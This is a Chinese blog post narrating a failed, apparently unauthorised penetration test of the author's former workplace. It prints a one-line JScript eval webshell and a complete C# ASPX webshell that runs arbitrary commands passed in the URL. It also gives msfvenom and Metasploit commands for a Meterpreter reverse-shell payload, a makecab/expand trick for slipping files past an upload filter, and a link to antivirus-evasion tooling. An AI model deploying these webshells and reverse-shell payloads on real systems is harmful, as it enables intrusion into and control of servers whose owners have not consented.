记一次失败的渗透测试

Posted by bfpiaoran on February 6, 2018

那是2016年刚学会用burp 就对老单位做了一次失败的友情测试 只得到一个test低权限账户 2333333

那是2018年的寒冬偶然想起来那次失败,感觉现在很强又做了一次

这次有了一个高权限账户

找到一个任意文件上传

一句话传之
<%@ Page Language=”Jscript”%>
<%eval(Request.Item[“value”])%>
然而

上传大马呢

各种封ip封到吐

最后找到一个大佬写的马

<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Web.UI"%>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.VisualBasic"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
protected void Page_load(object sender,EventArgs e)
{
  string ok = Request.QueryString["sb"];
  string shell= Request.QueryString["shell"];
  //www.moonsec.com moon
 // Response.Write(shell + ok );
  Response.Write("<pre>");
  Response.Write(GetCmd(ok,shell));
  Response.Write("</pre>");
}

private string GetCmd(string cmd,string shell)
{
  string ok = string.Empty;
   Process p = new Process();
            p.StartInfo.FileName = shell;
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            string strOutput = null;
            try
            {
                p.Start();
                p.StandardInput.WriteLine(cmd);
				Response.Write(cmd);
                p.StandardInput.WriteLine("exit");
                ok = p.StandardOutput.ReadToEnd();
                p.WaitForExit();
                p.Close();
             }
            catch (Exception ex)
             {
			  Response.Write("<pre>");
			  Response.Write(ex);
			  Response.Write("/<pre>");
                 }
  return ok;
}
</script>
</head>
<body>
</body>
</html>

 

看了下进程

 

 

 

原来是主动防御搞得鬼

想来想去既然能执行cmd那么反弹回来个互交shell不久能提权了么

 

2333

 

然而反弹shell  360拦截

 

后来想到既然他aspx不让传 我传个jpg总可以把  然后改名

然而还是不行 最后试了zip可以

那么上传个zip然后解压

2333

压缩一个文件:
makecab c:/file_name.txt c:/file_name.zip

解压一个文件:
expand c:/file_name.zip c:/file_name.txt

 

成功上传

 

然而执行被杀

 

试试免杀?

 

http://netsec.ws/?p=331

 

参照这里

 

msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT 5555

set LHOST 0.0.0.0

run

然而

不知道咋回事连不上

 

只能最后试试免杀了==

https://www.shellterproject.com/Downloads/Shellter/Latest/shellter.zip

 

 

最终还是失败告终

 

万恶的360主动防御  我们来年等我再修炼修炼再战23333333